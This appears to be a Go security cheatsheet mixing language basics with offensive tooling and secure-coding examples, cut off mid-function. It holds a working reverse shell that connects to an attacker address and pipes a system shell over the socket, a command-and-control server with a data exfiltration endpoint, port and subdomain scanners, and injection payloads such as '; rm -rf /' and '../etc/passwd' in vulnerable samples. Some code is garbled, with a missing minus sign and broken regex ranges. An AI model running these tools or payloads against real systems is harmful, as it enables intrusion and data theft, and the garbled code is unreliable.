Go¶

// This is a single line comment.

/*
This is a multi line comment.
It's useful for longer explanations.
*/

// Every Go file starts with a package declaration.
package main

// The import statement lists the packages this file uses.
import "fmt" // A standard library package for formatted I/O.

// The main function is where the program execution begins.
func main() {
    // We're calling the Println function from the fmt package.
    // It prints a line of text to the console.
    fmt.Println("Hello, Gopher!")
}

package main

import "fmt"

func main() {
    // The `var` keyword declares a variable.
    // `var <name> <type>`
    var score int
    score = 100
    fmt.Println("Score:", score)

    // You can declare and initialize at the same time.
    // `var <name> <type> = <value>`
    var health int = 100
    fmt.Println("Health:", health)

    // If you provide an initial value, Go can infer the type.
    var mana = 50 // Go knows this is an int.
    fmt.Println("Mana:", mana)

    // Inside a function, you can use the `:=` short assignment statement.
    // This is the most common way to declare variables in Go.
    // It infers the type and assigns the value.
    isAlive := true // Go knows this is a bool.
    fmt.Println("Alive?:", isAlive)

    // You can declare multiple variables at once.
    var (
        x int = 1
        y int = 2
    )
    fmt.Println("x, y:", x, y)

    // Or with short assignment...
    a, b := 10, "hello"
    fmt.Println("a, b:", a, b)
}

package main

import "fmt"

func main() {
    var name string = "0x1RIS"
    var version float64 = 1.1
    var isAwesome bool = true

    fmt.Println("Name:", name)
    fmt.Println("Version:", version)
    fmt.Println("Is Awesome?:", isAwesome)
}

package main

import "fmt"

func main() {
    // Let's start with a normal variable.
    power := 9000

    // Now, let's create a pointer to it.
    // `&` is the "address of" operator.
    powerPtr := &power

    fmt.Println("Original power:", power)
    fmt.Println("Memory address of power:", powerPtr)

    // To read the value at the address, we "dereference" the pointer.
    // `*` is the "value at" operator.
    fmt.Println("Value at the address:", *powerPtr)

    // We can change the original value through the pointer.
    *powerPtr = 9001
    fmt.Println("New power:", power) // The original `power` variable has changed!
}

package main

import "fmt"

func main() {
    // A basic if/else.
    score := 80
    if score > 90 {
        fmt.Println("Excellent!")
    } else if score > 70 {
        fmt.Println("Good job.")
    } else {
        fmt.Println("Needs improvement.")
    }

    // `if` with a short statement.
    // The `err` variable is only in scope within the `if/else` block.
    if err := someFunctionThatCanFail(); err != nil {
        fmt.Println("Oh no, something failed:", err)
        // Handle the error
    } else {
        fmt.Println("Success!")
    }
}

func someFunctionThatCanFail() error {
    // For this example, we'll just return nil (no error).
    return nil
}

package main

import "fmt"

func main() {
    // 1. The C-style `for` loop.
    fmt.Println("C-style loop:")
    for i := 0; i < 5; i++ {
        fmt.Print(i, " ")
    }
    fmt.Println()

    // 2. The "while" loop.
    // Go doesn't have a `while` keyword; you just use `for` with a condition.
    fmt.Println("\n'While' style loop:")
    n := 0
    for n < 5 {
        fmt.Print(n, " ")
        n++
    }
    fmt.Println()

    // 3. The infinite loop.
    // for {
    //     fmt.Println("This will run forever!")
    //     // Use `break` to exit.
    // }

    // 4. The `for...range` loop.
    // This is used to iterate over slices, arrays, strings, maps, and channels.
    fmt.Println("\n'for...range' on a slice:")
    nums := []string{"one", "two", "three"}
    for index, value := range nums {
        fmt.Printf("Index: %d, Value: %s\n", index, value)
    }

    // If you don't need the index, you can ignore it with the blank identifier `_`.
    fmt.Println("\n'for...range' ignoring the index:")
    for _, value := range nums {
        fmt.Println("Value:", value)
    }
}

package main

import (
    "fmt"
    "runtime"
)

func main() {
    // A basic switch.
    os := runtime.GOOS
    fmt.Print("Go is running on: ")
    switch os {
    case "darwin":
        fmt.Println("macOS.")
    case "linux":
        fmt.Println("Linux.")
    case "windows":
        fmt.Println("Windows.")
    default:
        // This will run if no other case matches.
        fmt.Printf("%s.\n", os)
    }

    // Switch with no expression.
    score := 75
    switch {
    case score >= 90:
        fmt.Println("Grade: A")
    case score >= 80:
        fmt.Println("Grade: B")
    case score >= 70:
        fmt.Println("Grade: C")
    default:
        fmt.Println("Grade: F")
    }
}

package main

import "fmt"

// A simple function that takes two integers and returns their sum.
// func <name>(<params>) <return_type>
func add(x int, y int) int {
    return x + y
}

// When two or more consecutive parameters share a type,
// you can omit the type from all but the last one.
func subtract(x, y int) int {
    return x y
}

// Functions can return multiple values.
// This is idiomatic in Go, especially for returning a value and an error.
func divide(x, y float64) (float64, error) {
    if y == 0 {
        // Create a new error object.
        return 0, fmt.Errorf("cannot divide by zero")
    }
    return x / y, nil // nil means no error occurred.
}

func main() {
    sum := add(10, 20)
    fmt.Println("10 + 20 =", sum)

    diff := subtract(20, 10)
    fmt.Println("20 10 =", diff)

    // When calling a function with multiple return values,
    // you must handle all of them.
    result, err := divide(10, 2)
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("10 / 2 =", result)
    }

    // If you don't care about one of the return values,
    // you can discard it with the blank identifier `_`.
    _, err = divide(10, 0)
    if err != nil {
        fmt.Println("Error:", err)
    }
}

package main

import "fmt"

// Define a new struct type called `Target`.
// It has three fields: Host (string), Port (int), and IsVulnerable (bool).
type Target struct {
    Host         string
    Port         int
    IsVulnerable bool
}

func main() {
    // Create a new instance of the Target struct.
    t1 := Target{
        Host:         "127.0.0.1",
        Port:         8080,
        IsVulnerable: false,
    }

    fmt.Println("Target 1 Host:", t1.Host)
    fmt.Println("Target 1 Port:", t1.Port)

    // You can also create a pointer to a struct.
    t2 := &Target{Host: "10.0.0.5", Port: 443}

    // Go automatically dereferences pointers for struct field access.
    // So, `t2.Host` is equivalent to `(*t2).Host`. This is just for convenience.
    fmt.Println("Target 2 Host:", t2.Host)

    // You can attach methods to struct types.
    // A method is a function with a special "receiver" argument.
    t1.PrintInfo()
    t2.MarkVulnerable()
    t2.PrintInfo()
}

// This is a method for the `Target` type.
// The `(t Target)` part is the receiver. It means the method operates on
// a `Target` value.
func (t Target) PrintInfo() {
    fmt.Printf("Target: %s:%d, Vulnerable: %v\n", t.Host, t.Port, t.IsVulnerable)
}

// To modify the struct within a method, the receiver must be a pointer.
func (t *Target) MarkVulnerable() {
    t.IsVulnerable = true
}

package main

import (
    "fmt"
    "math"
)

// Define an interface called `Shape`.
// Any type that has a method `Area() float64` will implicitly implement this interface.
type Shape interface {
    Area() float64
}

// Define a `Circle` struct.
type Circle struct {
    Radius float64
}

// Implement the `Area` method for `Circle`.
// Now, `Circle` satisfies the `Shape` interface.
func (c Circle) Area() float64 {
    return math.Pi * c.Radius * c.Radius
}

// Define a `Rectangle` struct.
type Rectangle struct {
    Width, Height float64
}

// Implement the `Area` method for `Rectangle`.
// Now, `Rectangle` also satisfies the `Shape` interface.
func (r Rectangle) Area() float64 {
    return r.Width * r.Height
}

// This function can take any type that implements the `Shape` interface.
func PrintShapeArea(s Shape) {
    fmt.Printf("The area of the shape is: %0.2f\n", s.Area())
}

func main() {
    c := Circle{Radius: 5}
    r := Rectangle{Width: 10, Height: 4}

    // We can pass both a Circle and a Rectangle to the same function,
    // because they both implement the Shape interface.
    PrintShapeArea(c)
    PrintShapeArea(r)
}

package main

import (
    "fmt"
    "os"
)

func main() {
    // os.Open returns a file pointer and an error.
    file, err := os.Open("non_existent_file.txt")

    // The first thing we do is check if an error occurred.
    if err != nil {
        // If so, we handle it. Maybe we log it, maybe we exit.
        fmt.Println("Error opening file:", err)
        // In a real program, you might do `return` or `os.Exit(1)` here.
    } else {
        // If err is nil, we can safely use the `file` variable.
        fmt.Println("File opened successfully:", file.Name())
        file.Close()
    }

    // The `defer` statement.
    // `defer` schedules a function call to be run immediately before
    // the function executing the `defer` returns.
    // It's perfect for cleanup tasks, like closing a file.

    f, err := os.Open("go.mod") // Assuming this file exists
    if err != nil {
        fmt.Println("Error:", err)
        return
    }
    // This will run no matter how the function exits (return, panic, etc.).
    defer f.Close()

    fmt.Println("File", f.Name(), "opened. It will be closed automatically at the end of main.")
    // ... do something with the file ...
}

package main

import (
    "fmt"
    "time"
)

func say(s string) {
    for i := 0; i < 3; i++ {
        fmt.Println(s)
        time.Sleep(100 * time.Millisecond)
    }
}

func main() {
    // Start a new goroutine.
    // The `say("World")` function will execute concurrently with the `main` function.
    go say("World")

    // The `main` function continues executing here.
    say("Hello")

    // If `main` finishes, the program exits, and any running goroutines are killed.
    // In a real program, you'd use channels or a WaitGroup to wait for goroutines to finish.
}

package main

import (
    "fmt"
    "time"
)

// This function will do some "work" and then send a result on a channel.
// The channel `c` is typed to only accept strings.
func worker(c chan string) {
    fmt.Println("Worker starting...")
    time.Sleep(2 * time.Second) // Simulate work
    fmt.Println("Worker finished.")

    // Send a value into the channel.
    c <- "Work complete!"
}

func main() {
    // Create a new channel.
    messages := make(chan string)

    // Start a worker in a new goroutine, passing it the channel.
    go worker(messages)

    fmt.Println("Main function is waiting for a message from the worker...")

    // Receive a value from the channel.
    // This is a blocking operation. The `main` function will pause here
    // until a value is sent into the `messages` channel.
    msg := <-messages

    fmt.Println("Message received in main:", msg)
}

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "time"
)

func main() {
    // The default client is fine for simple requests.
    simpleGET()

    // For more control (like setting timeouts), create a custom client.
    customGET()
}

func simpleGET() {
    fmt.Println("--- Simple GET ---")
    resp, err := http.Get("https://httpbin.org/get")
    if err != nil {
        fmt.Println("HTTP request failed:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Status Code:", resp.StatusCode)

    body, _ := ioutil.ReadAll(resp.Body)
    fmt.Println("Response Body (first 100 bytes):", string(body[:100]))
}

func customGET() {
    fmt.Println("\n--- Custom GET with Timeout ---")
    // Create a custom client with a 5-second timeout.
    client := &http.Client{
        Timeout: 5 * time.Second,
    }

    // Create a request object. This gives you more control.
    req, err := http.NewRequest("GET", "https://httpbin.org/delay/3", nil)
    if err != nil {
        fmt.Println("Failed to create request:", err)
        return
    }

    // You can set custom headers.
    req.Header.Set("User-Agent", "Go-Security-Cheatsheet/1.0")
    req.Header.Set("Accept", "application/json")

    // Execute the request using our custom client.
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("HTTP request failed:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Status Code:", resp.StatusCode)
    body, _ := ioutil.ReadAll(resp.Body)
    fmt.Println("Response Body:", string(body))
}

package main

import (
    "bufio"
    "fmt"
    "net"
    "time"
)

// grabBanner connects to a host and port and tries to read the first line of the response.
func grabBanner(host string, port int) {
    address := fmt.Sprintf("%s:%d", host, port)
    fmt.Printf("Connecting to %s...\n", address)

    // Dial with a timeout. Always use timeouts for network operations!
    conn, err := net.DialTimeout("tcp", address, 3*time.Second)
    if err != nil {
        fmt.Println("Failed to connect:", err)
        return
    }
    defer conn.Close()

    fmt.Println("Connected!")

    // Set a deadline for reading from the connection.
    conn.SetReadDeadline(time.Now().Add(3 * time.Second))

    // Use a buffered reader to easily read line by line.
    reader := bufio.NewReader(conn)
    banner, err := reader.ReadString('\n')
    if err != nil {
        fmt.Println("Failed to read banner:", err)
        return
    }

    fmt.Printf("Banner: %s", banner)
}

func main() {
    // Let's try to grab the banner from a known service.
    // `scan.nmap.org` is a host made for testing scanners.
    grabBanner("scan.nmap.org", 22) // SSH port
}

package main

import (
    "fmt"
    "net"
)

func main() {
    domain := "example.com"

    fmt.Printf("--- DNS Records for %s ---\n", domain)

    // A records (IPv4)
    ips, err := net.LookupHost(domain)
    if err == nil {
        fmt.Println("A Records (IPs):", ips)
    }

    // CNAME record
    cname, err := net.LookupCNAME(domain)
    if err == nil {
        fmt.Println("CNAME:", cname)
    }

    // MX records (Mail Exchange)
    mxs, err := net.LookupMX(domain)
    if err == nil {
        fmt.Println("MX Records:")
        for _, mx := range mxs {
            fmt.Printf("  Host: %s, Preference: %d\n", mx.Host, mx.Pref)
        }
    }

    // TXT records (often used for SPF, DKIM, etc.)
    txts, err := net.LookupTXT(domain)
    if err == nil {
        fmt.Println("TXT Records:", txts)
    }
}

package main

import (
    "fmt"
    "net"
    "time"
)

func main() {
    // A simple UDP server
    go udpServer()
    // Give the server a moment to start
    time.Sleep(500 * time.Millisecond)
    // A simple UDP client
    udpClient()
}

func udpServer() {
    // Listen on a UDP port
    addr, _ := net.ResolveUDPAddr("udp", ":12345")
    conn, err := net.ListenUDP("udp", addr)
    if err != nil {
        panic(err)
    }
    defer conn.Close()
    fmt.Println("UDP server listening on :12345")

    buffer := make([]byte, 1024)
    for {
        // Read from the UDP connection
        n, remoteAddr, err := conn.ReadFromUDP(buffer)
        if err != nil {
            fmt.Println("Error reading from UDP:", err)
            continue
        }
        fmt.Printf("Server received '%s' from %s\n", string(buffer[:n]), remoteAddr)

        // Echo the message back to the client
        _, err = conn.WriteToUDP([]byte("Echo: "+string(buffer[:n])), remoteAddr)
        if err != nil {
            fmt.Println("Error writing to UDP:", err)
        }
    }
}

func udpClient() {
    // Resolve the server address
    serverAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:12345")
    // Dialing a UDP connection isn't strictly necessary but can be convenient
    conn, err := net.DialUDP("udp", nil, serverAddr)
    if err != nil {
        panic(err)
    }
    defer conn.Close()

    // Send a message
    _, err = conn.Write([]byte("Hello UDP Server!"))
    if err != nil {
        fmt.Println("Error sending message:", err)
        return
    }
    fmt.Println("Client sent message.")

    // Wait for a response
    buffer := make([]byte, 1024)
    conn.SetReadDeadline(time.Now().Add(2 * time.Second))
    n, err := conn.Read(buffer)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Printf("Client received: '%s'\n", string(buffer[:n]))
}

package main

import (
    "encoding/json"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "time"
)

// A logging middleware that wraps another handler.
// This is a common pattern in Go web development.
func loggingMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        start := time.Now()
        log.Printf("Started %s %s from %s", r.Method, r.URL.Path, r.RemoteAddr)

        // Call the next handler in the chain.
        next.ServeHTTP(w, r)

        log.Printf("Completed in %v", time.Since(start))
    })
}

// A simple handler for the root path.
func rootHandler(w http.ResponseWriter, r *http.Request) {
    // Set the content type header.
    w.Header().Set("Content-Type", "text/plain")
    // Write the response.
    fmt.Fprintln(w, "Welcome to the Go C2 server!")
    fmt.Fprintln(w, "Use /status for status and /exfil to post data.")
}

// A handler that returns a JSON status.
func statusHandler(w http.ResponseWriter, r *http.Request) {
    // A struct to hold our status data.
    // The `json:"..."` tags control how the struct fields are named in the JSON output.
    type Status struct {
        ServerTime time.Time `json:"server_time"`
        Status     string    `json:"status"`
    }

    status := Status{
        ServerTime: time.Now(),
        Status:     "All systems nominal.",
    }

    // Set the content type to JSON.
    w.Header().Set("Content-Type", "application/json")
    // Encode the struct to JSON and write it to the response.
    json.NewEncoder(w).Encode(status)
}

// A handler to receive exfiltrated data.
func exfilHandler(w http.ResponseWriter, r *http.Request) {
    // We only accept POST requests here.
    if r.Method != http.MethodPost {
        http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
        return
    }

    // Read the body of the request.
    body, err := ioutil.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Error reading request body", http.StatusInternalServerError)
        return
    }

    // For this example, we'll just log the data.
    // In a real C2, you'd save it to a file or database.
    log.Printf("--- EXFIL DATA RECEIVED ---\n%s\n---------------------------\n", string(body))

    // Respond with a success message.
    w.WriteHeader(http.StatusOK)
    fmt.Fprintln(w, "Data received.")
}

func main() {
    // Create a new ServeMux (router).
    mux := http.NewServeMux()

    // Register our handlers.
    mux.HandleFunc("/", rootHandler)
    mux.HandleFunc("/status", statusHandler)
    mux.HandleFunc("/exfil", exfilHandler)

    // Wrap our router with the logging middleware.
    loggedMux := loggingMiddleware(mux)

    port := ":8080"
    log.Printf("Starting server on port %s", port)

    // Start the server.
    if err := http.ListenAndServe(port, loggedMux); err != nil {
        log.Fatalf("Server failed to start: %v", err)
    }
}

package main

import (
    "bytes"
    "fmt"
    "log"
    "os/exec"
    "strings"
)

func main() {
    // Example 1: Simple command execution.
    // Run `whoami` and capture its output.
    cmd := exec.Command("whoami")
    output, err := cmd.CombinedOutput() // CombinedOutput gets both stdout and stderr.
    if err != nil {
        log.Fatalf("`whoami` failed: %v", err)
    }
    fmt.Printf("`whoami` output: %s\n", strings.TrimSpace(string(output)))

    // Example 2: Piped commands.
    // This is the Go equivalent of `ps aux | grep 'go'`.
    fmt.Println("\n--- Piped Command ---")
    psCmd := exec.Command("ps", "aux")
    grepCmd := exec.Command("grep", "go")

    // Get the output of `ps` and set it as the input for `grep`.
    psOutput, err := psCmd.Output()
    if err != nil {
        log.Fatalf("`ps` failed: %v", err)
    }
    grepCmd.Stdin = bytes.NewReader(psOutput)

    // Run `grep` and get its output.
    grepOutput, err := grepCmd.CombinedOutput()
    if err != nil {
        // `grep` returns a non zero exit code if it finds no matches,
        // which `CombinedOutput` treats as an error. We can ignore that specific case.
        if exitErr, ok := err.(*exec.ExitError); ok && exitErr.ExitCode() == 1 {
            fmt.Println("No 'go' processes found.")
        } else {
            log.Fatalf("`grep` failed: %v", err)
        }
    } else {
        fmt.Printf("Found 'go' processes:\n%s", string(grepOutput))
    }
}

package main

import (
    "net"
    "os/exec"
    "runtime"
)

func main() {
    // The attacker's IP and port.
    attackerAddress := "127.0.0.1:4444" // CHANGE THIS

    // Connect back to the attacker's machine.
    conn, err := net.Dial("tcp", attackerAddress)
    if err != nil {
        // If we can't connect, just exit silently.
        return
    }

    // Determine which shell to use based on the OS.
    var shell string
    if runtime.GOOS == "windows" {
        shell = "powershell.exe"
    } else {
        shell = "/bin/sh" // or "/bin/bash"
    }

    // Create a shell command.
    cmd := exec.Command(shell)

    // Redirect the shell's standard input, output, and error streams
    // to the network connection. It's like plumbing!
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn

    // Run the command. This will block until the shell exits.
    cmd.Run()
}

package main

import (
    "fmt"
    "net"
    "sort"
    "time"
)

func main() {
    host := "127.0.0.1"
    startPort := 1
    endPort := 1024
    timeout := 500 * time.Millisecond

    // A channel to receive the results (open ports).
    openPorts := make(chan int)
    // A channel to act as a semaphore to limit concurrency.
    // The size of the channel buffer determines how many goroutines can run at once.
    semaphore := make(chan struct{}, 100)

    fmt.Printf("Scanning ports %d-%d on %s...\n", startPort, endPort, host)

    // Start a goroutine for each port we want to scan.
    for port := startPort; port <= endPort; port++ {
        // Acquire a spot in the semaphore. This will block if the semaphore is full.
        semaphore <- struct{}{}

        go func(p int) {
            // Release the spot in the semaphore when the goroutine finishes.
            defer func() { <-semaphore }()

            address := fmt.Sprintf("%s:%d", host, p)
            conn, err := net.DialTimeout("tcp", address, timeout)
            if err == nil {
                conn.Close()
                // Send the open port number to the results channel.
                openPorts <- p
            }
        }(port)
    }

    // A slice to store the results.
    var results []int
    // A channel to signal when we're done collecting results.
    done := make(chan struct{})

    // Start a goroutine to collect results from the openPorts channel.
    go func() {
        for port := range openPorts {
            results = append(results, port)
        }
        // Signal that we're done.
        done <- struct{}{}
    }()

    // Wait for all port scanning goroutines to finish by filling the semaphore.
    for i := 0; i < cap(semaphore); i++ {
        semaphore <- struct{}{}
    }

    // Close the openPorts channel. This will cause the result collection goroutine to finish.
    close(openPorts)
    // Wait for the result collection to finish.
    <-done

    // Sort the results and print them.
    sort.Ints(results)
    fmt.Println("\nOpen ports:")
    for _, port := range results {
        fmt.Println(port)
    }
}

package main

import (
    "bufio"
    "fmt"
    "net/http"
    "os"
    "sync"
)

func main() {
    target := "example.com" // Change this to your target
    wordlistPath := "/usr/share/wordlists/subdomains.txt" // Change this to your wordlist path

    file, err := os.Open(wordlistPath)
    if err != nil {
        fmt.Printf("Failed to open wordlist: %v\n", err)
        return
    }
    defer file.Close()

    // A WaitGroup is another way to wait for goroutines to finish.
    var wg sync.WaitGroup
    // A channel to pass subdomains to our worker goroutines.
    subdomainChan := make(chan string, 100)

    // Start worker goroutines.
    numWorkers := 50
    for i := 0; i < numWorkers; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            // Process subdomains from the channel until it's closed.
            for sub := range subdomainChan {
                url := fmt.Sprintf("http://%s.%s", sub, target)
                // We're ignoring errors for this simple example.
                // A real tool would check for specific DNS errors vs. HTTP errors.
                resp, err := http.Head(url) // Use HEAD for a faster check
                if err == nil {
                    fmt.Printf("[+] Found: %-30s [Status: %s]\n", url, resp.Status)
                    resp.Body.Close()
                }
            }
        }()
    }

    // Read the wordlist and send each subdomain to the channel.
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        subdomainChan <- scanner.Text()
    }

    // Close the channel to signal to the workers that there's no more work.
    close(subdomainChan)

    // Wait for all workers to finish.
    wg.Wait()

    fmt.Println("Subdomain scan complete.")
}

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
    "strings"

    "golang.org/x/net/html"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s <URL>\n", os.Args[0])
        os.Exit(1)
    }
    startURL := os.Args[1]

    links, err := extractLinks(startURL)
    if err != nil {
        fmt.Fprintf(os.Stderr, "Error crawling %s: %v\n", startURL, err)
        os.Exit(1)
    }

    fmt.Printf("Links found on %s:\n", startURL)
    for _, link := range links {
        fmt.Println(" -", link)
    }
}

func extractLinks(rawURL string) ([]string, error) {
    // Make an HTTP GET request
    resp, err := http.Get(rawURL)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return nil, fmt.Errorf("getting %s: %s", rawURL, resp.Status)
    }

    // Parse the response body as HTML
    doc, err := html.Parse(resp.Body)
    if err != nil {
        return nil, fmt.Errorf("parsing %s as HTML: %v", rawURL, err)
    }

    var links []string
    // A recursive function to traverse the HTML node tree
    var visitNode func(*html.Node)
    visitNode = func(n *html.Node) {
        if n.Type == html.ElementNode && n.Data == "a" {
            for _, a := range n.Attr {
                if a.Key == "href" {
                    // Resolve the link relative to the base URL
                    link, err := resp.Request.URL.Parse(a.Val)
                    if err == nil {
                        // Add the link if it's not already in our list
                        if !contains(links, link.String()) {
                            links = append(links, link.String())
                        }
                    }
                }
            }
        }
        // Traverse children
        for c := n.FirstChild; c != nil; c = c.NextSibling {
            visitNode(c)
        }
    }
    visitNode(doc)
    return links, nil
}

func contains(slice []string, item string) bool {
    for _, s := range slice {
        if s == item {
            return true
        }
    }
    return false
}

package main

import (
    "fmt"
    "net/http"
    "os"
    "strings"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s <URL>\n", os.Args[0])
        os.Exit(1)
    }
    targetURL := os.Args[1]

    // Ensure URL has a scheme
    if !strings.HasPrefix(targetURL, "http") {
        targetURL = "https://" + targetURL
    }

    fmt.Printf("Checking security headers for %s...\n\n", targetURL)

    resp, err := http.Get(targetURL)
    if err != nil {
        fmt.Fprintf(os.Stderr, "Error fetching URL: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    // Headers to check for
    headers := []string{
        "Strict-Transport-Security",
        "Content-Security-Policy",
        "X-Frame-Options",
        "X-Content-Type-Options",
        "Referrer-Policy",
        "Permissions-Policy",
    }

    fmt.Println("--- Header Analysis ---")
    for _, h := range headers {
        value := resp.Header.Get(h)
        if value == "" {
            fmt.Printf("[MISSING] %s\n", h)
        } else {
            fmt.Printf("[PRESENT] %s: %s\n", h, value)
        }
    }

    // Check for information disclosure headers
    fmt.Println("\n--- Information Disclosure ---")
    infoHeaders := []string{"Server", "X-Powered-By", "X-AspNet-Version"}
    for _, h := range infoHeaders {
        value := resp.Header.Get(h)
        if value != "" {
            fmt.Printf("[INFO] %s: %s\n", h, value)
        }
    }
}

package main

import (
    "fmt"
    "regexp"
)

// Compile regex patterns once at the package level for efficiency.
var (
    // A simple email regex. Real world email regexes are horrifyingly complex,
    // but this is good for a basic sanity check.
    emailRegex = regexp.MustCompile(`^[a zA-Z0-9._%+-]+@[a zA-Z0-9.-]+\.[a zA-Z]{2,}$`)

    // A regex for a simple username: 3-20 alphanumeric characters.
    usernameRegex = regexp.MustCompile(`^[a zA-Z0-9]{3,20}$`)
)

func main() {
    // Test cases
    fmt.Printf("Is 'test@example.com' a valid email? %v\n", emailRegex.MatchString("test@example.com"))
    fmt.Printf("Is 'not an email' a valid email? %v\n", emailRegex.MatchString("not an email"))

    fmt.Printf("Is 'gooduser123' a valid username? %v\n", usernameRegex.MatchString("gooduser123"))
    fmt.Printf("Is 'bad!user' a valid username? %v\n", usernameRegex.MatchString("bad!user"))
}

// DO NOT DO THIS.
// Using fmt.Fprintf with user input is a classic XSS vulnerability.
http.HandleFunc("/welcome", func(w http.ResponseWriter, r *http.Request) {
    userInput := r.URL.Query().Get("name") // e.g., "<script>alert('xss')</script>"
    fmt.Fprintf(w, "<h1>Welcome, %s!</h1>", userInput) // VULNERABLE!
})

package main

import (
    "html/template"
    "net/http"
)

func main() {
    http.HandleFunc("/welcome", func(w http.ResponseWriter, r *http.Request) {
        // Define a simple template.
    tmpl, err := template.New("welcome").Parse("<h1>Welcome, {{.}}!</h1>")
        if err != nil {
            http.Error(w, "Internal server error", http.StatusInternalServerError)
            return
        }

        userInput := r.URL.Query().Get("name") // e.g., "<script>alert('xss')</script>"

        // Execute the template. The `html/template` package will automatically
        // escape the user input, so the <script> tag will be rendered as plain text.
        tmpl.Execute(w, userInput)
    })

    fmt.Println("Starting server on :8080")
    http.ListenAndServe(":8080", nil)
}

// DO NOT DO THIS.
// Concatenating paths directly is extremely dangerous.
func vulnerableFileRead(w http.ResponseWriter, r *http.Request) {
    fileName := r.URL.Query().Get("file") // Attacker provides "../secrets.txt"
    filePath := "/var/www/data/" + fileName // Result: "/var/www/data/../secrets.txt"

    data, err := ioutil.ReadFile(filePath) // Reads the secret file!
    // ...
}

package main

import (
    "fmt"
    "path/filepath"
    "strings"
)

// Sanitize a user provided filename to ensure it stays within a base directory.
func secureFilePath(baseDir, userFile string) (string, error) {
    // Join the base directory and the user provided file path.
    // `filepath.Join` cleans the path, but doesn't prevent traversal on its own.
    // e.g., Join("data", "../secrets") -> "secrets"
    dest := filepath.Join(baseDir, userFile)

    // The crucial step: ensure the cleaned path is still within the base directory.
    // `filepath.Abs` gets the absolute path.
    absBase, err := filepath.Abs(baseDir)
    if err != nil {
        return "", err
    }
    absDest, err := filepath.Abs(dest)
    if err != nil {
        return "", err
    }

    // If the final absolute path doesn't start with the absolute base path,
    // it's a traversal attempt.
    if !strings.HasPrefix(absDest, absBase) {
        return "", fmt.Errorf("path traversal attempt: %s", userFile)
    }

    return dest, nil
}

func main() {
    base := "/var/www/data"

    // Good case
    path, err := secureFilePath(base, "images/gopher.png")
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("Safe path:", path)
    }

    // Bad case
    path, err = secureFilePath(base, "../../../../etc/passwd")
    if err != nil {
        fmt.Println("Error:", err)
    } else {
        fmt.Println("Safe path:", path)
    }
}

// DO NOT DO THIS. EVER.
// Running a command through a shell like `/bin/sh -c` with user input is a recipe for disaster.
func vulnerablePing(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host") // Attacker provides "8.8.8.8; rm -rf /"

    // The command becomes "ping -c 1 8.8.8.8; rm -rf /"
    // The shell executes both commands!
    cmd := exec.Command("/bin/sh", "-c", "ping -c 1 " + host)
    out, err := cmd.CombinedOutput()
    // ...
}

package main

import (
    "fmt"
    "log"
    "os/exec"
)

// This function is safe because the `host` variable is passed as a single,
// distinct argument to the `ping` command. It will not be interpreted by a shell.
func securePing(host string) {
    // If the host is "8.8.8.8; id", the `ping` command will literally
    // try to resolve a host with that exact name, which will fail.
    // The `id` part is never executed.
    cmd := exec.Command("ping", "-c", "1", host)

    fmt.Printf("Executing: %s\n", cmd.String())

    out, err := cmd.CombinedOutput()
    if err != nil {
        log.Printf("Ping failed: %v\nOutput: %s", err, string(out))
        return
    }

    fmt.Printf("Ping successful:\n%s", string(out))
}

func main() {
    // Safe case
    securePing("8.8.8.8")

    fmt.Println("\n---\n")

    // Malicious case
    // This will fail safely.
    securePing("8.8.8.8; id")
}

package main

import (
    "fmt"
    "log"

    "golang.org/x/crypto/bcrypt"
)

func main() {
    password := "s3cr3tP@ssw0rd!"

    // Hash the password. bcrypt.GenerateFromPassword handles salt generation for you.
    // The second argument is the cost factor (higher is slower and more secure).
    hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
    if err != nil {
        log.Fatal(err)
    }

    fmt.Printf("Original Password: %s\n", password)
    fmt.Printf("Hashed Password:   %s\n", string(hashedPassword))

    // Now, let's verify the password.
    // This compares the original password with the stored hash.

    // Correct password
    err = bcrypt.CompareHashAndPassword(hashedPassword, []byte(password))
    if err == nil {
        fmt.Println("Password verification successful!")
    } else {
        fmt.Println("Password verification failed.")
    }

    // Incorrect password
    err = bcrypt.CompareHashAndPassword(hashedPassword, []byte("wrongpassword"))
    if err == nil {
        fmt.Println("Password verification successful!")
    } else {
        fmt.Println("Password verification failed.")
    }
}

package main

import (
    "crypto/rand"
    "encoding/hex"
    "fmt"
)

// generateSecureToken creates a random, URL-safe token.
func generateSecureToken(length int) (string, error) {
    // Create a byte slice of the desired length.
    b := make([]byte, length)

    // Read cryptographically secure random bytes into the slice.
    // `rand.Read` is the function to use.
    if _, err := rand.Read(b); err != nil {
        return "", err
    }

    // Encode the random bytes into a hexadecimal string.
    return hex.EncodeToString(b), nil
}

func main() {
    // Generate a 32-byte (256-bit) secure token.
    token, err := generateSecureToken(32)
    if err != nil {
        panic(err)
    }

    fmt.Println("Secure Token:", token)
}

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "fmt"
    "io"
    "log"
)

func main() {
    plaintext := []byte("This is a top secret message.")

    // Generate a new 32-byte (256-bit) AES key.
    // In a real application, you would store and manage this key securely.
    key := make([]byte, 32)
    if _, err := rand.Read(key); err != nil {
        log.Fatal(err)
    }

    fmt.Printf("Plaintext: %s\n", string(plaintext))

    // Encrypt the plaintext.
    ciphertext, err := encrypt(plaintext, key)
    if err != nil {
        log.Fatal(err)
    }
